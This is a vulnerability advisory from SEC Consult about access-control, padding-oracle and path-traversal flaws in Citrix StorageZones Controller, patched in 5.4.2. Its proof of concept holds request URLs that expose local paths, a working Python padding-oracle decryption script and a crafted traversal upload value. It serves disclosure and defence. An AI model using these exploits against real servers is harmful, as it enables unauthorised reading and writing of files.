Citrix StorageZones Controller Improper Access Restrictions / Traversal

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

SEC Consult Vulnerability Lab Security Advisory < 20180924-0 > ======================================================================= title: Multiple Vulnerabilities product: Citrix StorageZones Controller vulnerable version: all versions before 5.4.2 fixed version: 5.4.2 CVE number: CVE-2018-16968, CVE-2018-16969 impact: Medium homepage: found: 2018-08 by: W. Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America ======================================================================= Vendor description: ------------------- "ShareFile is a file sharing service that enables users to easily and securely exchange documents. ShareFile Enterprise provides enterprise-class service and includes StorageZones Controller and the User Management Tool. ShareFile StorageZones Controller extends the ShareFile software as a service (SaaS) cloud storage by providing your ShareFile account with private data storage, referred to as StorageZones for ShareFile Data. [...]." URL: Business recommendation: ------------------------ Users of this product are advised to install the security patch provided by Citrix. The vulnerabilities identified suggest that no sufficient technical security audit has yet been conducted on the Citrix StorageZones Controller. SEC Consult recommends Citrix to conduct such an audit. Vulnerability overview/description: ----------------------------------- The Citrix StorageZones Controller exposes resources that are typically only available to the internal network (e.g. CIFS Windows shares) to clients connecting from the Internet. In order to hide internal network paths from the user and in order to only allow access to paths specifically allowed by the administrator, internal network paths are encrypted. E.g. if an administrator wants to allow access to an UNC path (e.g. \\testhost\testshare\testdir) this string is encrypted and provided to the client. When the user calls the API to e.g. list the contents of this directory, the StorageZones Controller returns the encrypted absolute paths for each directory entry. This way, the absolute internal paths are always hidden from the user. 1) Improper Access Restrictions Citrix StorageZone Controller offers users a functionality to convert UNC paths into their encrypted form. Therefore, users are able to access any UNC paths accessible by the StorageZones Controller. When providing access to a network share, the StorageZones Controller impersonates the user. Therefore, unauthorized access to network shares is not possible. However, Citrix StorageZones Controller internally does not distinguish between UNC-paths (e.g. \\testhost\testshare) and local paths (e.g. C:\Windows). Therefore, users may access (e.g. read, write, delete) local paths for which they have appropriate NTFS permissions. Note: Citrix StorageZones allows an administrator to define the paths exposed by the StorageZones Controller. By configuring this setting an administrator can restrict access to only network paths. The configuration page incorrectly states that a value of "*" (the default value) "allows connections to all hosts on the internal network", while in fact it also allows access to local paths. 2) Padding Oracle The encryption mechanism used by the Citrix StorageZones Controller is vulnerable to a padding oracle attack. This allows an attacker to partly decrypt or potentially modify internal paths. 3) Path Traversal The upload functionality is vulnerable to a path traversal attack if the preconditions to exploit the vulnerability #1 are met. In practice this vulnerability has a similar effect as vulnerability #1. Proof of concept: ----------------- 1) Improper Access Restrictions The following URL demonstrates how local paths can be encrypted: https://<host>/cifs/v3/Items/ByPath?path=c:\ The following URL demonstrates how e.g. the contents of the directory can be listed: https://<host>/cifs/v3/Items(<encrypted>)?$expand=Children 2) Padding Oracle The following script demonstrates how encrypted internal paths can partly be decrypted. It may also be possible to partly modify encrypted paths (this has not been verified). ---- snip ---- import sys sys.path.append('python-paddingoracle') from paddingoracle import BadPaddingException, PaddingOracle, xor from base64 import b64encode, b64decode from urllib import quote, unquote import requests import socket import time import getpass URL = 'http://<host>/' AUTH = (raw_input('User: '), getpass.getpass('Password: ')) CIPHER = '<encrypted path>' class PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs) self.session = requests.Session() def oracle(self, data, **kwargs): d = b64encode('B'*64 + encrypted + data)\ .replace('=', '_')\ .replace('+', '-')\ .replace('/', '!') response = self.session.get(URL + 'cifs/v3/Items('+d+')', headers={'Authorization': 'Basic '+b64encode(':'.join(AUTH))}) if 'File path could not be resolved.' in response.text: print 'bad' raise BadPaddingException if __name__ == '__main__': import logging logging.basicConfig(level=logging.DEBUG) encrypted = bytearray(b64decode(CIPHER\ .replace('_', '=')\ .replace('-', '+')\ .replace('!', '/'))) padbuster = PadBuster() d = b64encode(encrypted)\ .replace('=', '_')\ .replace('+', '-')\ .replace('/', '!') print padbuster.decrypt(encrypted, block_size=16, iv=bytearray(16)) ---- snip ---- 3) Path Traversal This attack involves uploading a file called "info.txt" to any local path (see vulnerability #1). These info.txt files are used by StorageZones controller to keep track of ongoing file uploads (e.g. if a file upload is split into multiple HTTP requests). The following shows an info.txt file that can be used by an attacker: info_txt = 'ThreadedUpload|' + \ 'rsu-00000000000000000000000000000000|' + \ 'info.txt|0||00000000-0000-0000-00000000000000000|' + \ '5||False|' + \ r'..\dest_dir\testfile.txt|' + \ # the temporary upload file 'False|0|0|0|False|4|apiv3||'; This value is then hashed (MD5 encoded as UTF16) and the resulting hash is appended (info_txt + '|' + hash). This file is normally expected to be in a dedicated temporary directory. When a request is made in reference to an ongoing file upload, a string identifying one specific upload is sent with it. When accessing the info.txt that describes the upload, the application uses the upload id sent as a part of the file path (<tmp upload path>/<upload id>/info.txt). An attacker can therefore conduct a directory traversal attack to reference the previously uploaded info.txt. Any uploaded chunk that references this file is appended to the temporary upload file (see info_txt above). This file is created with the privileges of the user NETWORK SERVICE. The data is then written to it with the privileges of the attacker's account. Vulnerable / tested versions: ----------------------------- The version of the StorageZones controller was found to be vulnerable. This was the latest version as of the time of vulnerability discovery. According to the vendor, all versions before 5.4.2 are affected by the identified security issues. Vendor contact timeline: ------------------------ 2018-08-08: Sending encrypted advisory to the Citrix Security Team 2018-08-08: Citrix: Investigation has been started 2018-09-07: Requesting status update 2018-09-07: Citrix: Preliminary release date for the patch: 2018-09-19 2018-09-19: Citrix releases StorageZones Controller version 5.4.2 in which these vulnerabilities are addressed 2018-09-24: SEC Consult releases the security advisory Solution: --------- Upgrade to the latest version available: The Citrix security advisory can be found here: Workaround: ----------- None Advisory URL: ------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: Blog: Twitter: EOF W. Ettlinger / @2018

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